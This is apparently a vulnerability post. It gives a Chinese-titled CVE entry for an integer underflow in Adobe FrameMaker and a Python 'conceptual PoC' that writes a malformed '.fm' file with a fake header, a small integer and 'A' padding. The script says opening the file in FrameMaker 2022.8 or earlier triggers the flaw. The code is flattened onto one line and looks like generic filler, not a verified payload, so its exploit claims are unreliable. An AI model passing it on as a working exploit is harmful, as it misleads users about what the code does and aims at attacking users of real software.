CVE-2026-27297 Adobe Framemaker整数下溢致代码执行漏洞

import struct # Conceptual PoC for Integer Underflow in Adobe Framemaker # This script generates a file with a malicious header designed to trigger an underflow. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write a file signature or magic bytes to mimic a valid Framemaker file f.write(b'FM_DOC') # Write a malicious integer value. # If the application subtracts a value (e.g., 0x10) from this field # without checking if it's less than 0x10, an integer underflow occurs. # This leads to memory corruption. malicious_int = 0x00000001 f.write(struct.pack('<I', malicious_int)) # Add padding to fill the buffer structure f.write(b'A' * 256) print(f"[+] Malicious file generated: {filename}") print(f"[+] Open this file in Adobe Framemaker <= 2022.8 to trigger the vulnerability.") if __name__ == "__main__": create_malicious_file("cve_2026_27297_poc.fm")